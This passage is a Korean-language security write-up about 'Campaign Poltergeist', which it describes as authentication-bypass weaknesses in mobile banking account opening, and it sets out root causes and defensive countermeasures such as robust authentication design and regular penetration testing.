- 비대면 금융 서비스의 등장으로 명의 도용 등으로 대포통장과 사기계좌로 이용될 수 있음 > 계좌 개설 프로세스는 사기 등의 범죄 조직들의 악용을 막기위해 강력한 인증 절차를 갖춤 > 인증 우회 취약점의 연계를 통해 계좌 개설 프로세스에 사용되는 인증 절차를 모두 우회해 계좌 개설이 가능
[사진 2] Campaign Poltergeist 요약
2.4 근본 원인
① 여러 인증 수단의 복합적 사용
- 각 인증 수단 결과를 서버에 기록 및 검증하는 절차 역시 복잡해져 구현 실수 발생
- 하나의 인증 수단이 우회되거나 공격자가 임의로 발급받을 수 있다면 다른 인증 수단의 발급/등록 과정을 연쇄적으로 우회될 수 있음
② 복잡한 외부 인증 기관과의 연계
- 여러 인증 수단의 구현을 위해 금융사 자체적으로 모든 인증 서비스를 구현 및 운영할 수 없어 외부 인증 기관과 연계
- 클라이언트가 서버로 전달한 외부 인증기관 인증 결과의 정상 여부, 명의 일치 여부 등의 확인 과정이 복잡해짐
③ 인증 서비스 코드 통합 및 유지보수의 어려움
- 외부에서 개발한 코드를 통합하였기 때문에 코드에 대한 이해도가 떨어지고, 복잡한 인증 절차가 맞물려 연계 및 검증에 허점이 발생
- 또한 수정 또는 변경사항이 있을 시 유지보수를 위해 코드를 수정하는 과정에 문제가 발생 가능
2.5 대응방안
① 견고한 인증 프로세스 설계
- 여러 인증 수단의 복잡한 사용과 외부 인증기관과의 복잡한 연계로 견고한 인증 프로세스 설계가 필요
- 모든 발생 가능한 공격 유형에 대비하고, 그 결과를 서비스 최종 요청 처리 시 확인할 수 있도록 설계해야 함
- 인증 과정과 관련된 로그를 남기고 이상 행위를 탐지할 수 있도록 설계
② 인증 절차 구현 시 보안 요구사항 적용
- 인증 수단별로 발생 가능한 모든 취약점 유형을 고려하여 보안 요구사항을 적용
- 다양한 인증 서비스 코드를 통합하고 유지보수하는 과정에서도 이러한 요구사항이 적용될 수 있도록 해야 함
- 하나의 인증 수단 뿐만 아니라 전체 인증 절차를 연계하는 과정에서도 요구사항을 충족하는지 검증 및 보완
③ 인증 우회 취약점 분석 및 대응
- 불가피한 사유로 인증 우회 취약점이 남아있거나 기능 수정 등을 통해 새롭게 발생 가능
- 주기적인 취약점 분석과 모의해킹을 통해 잠재 위협을 제거
- 대목적을 두고 공격 방식의 제한없이 수행하는 모의해킹을 통해 위협을 식별
[사진 3] 대응방안 요약
2.6 결론
- 모바일 앱을 통한 금융 서비스 이용이 보편화되면서 비대면 신원 확인의 중요성이 증가
- 하나의 인증 수단이 우회되어도, 다른 인증 수단으로 신원을 확인하여 부정 행위를 차단할 수 있도록 복합적인 인증 절차가 정확히, 제대로 구현되어야 함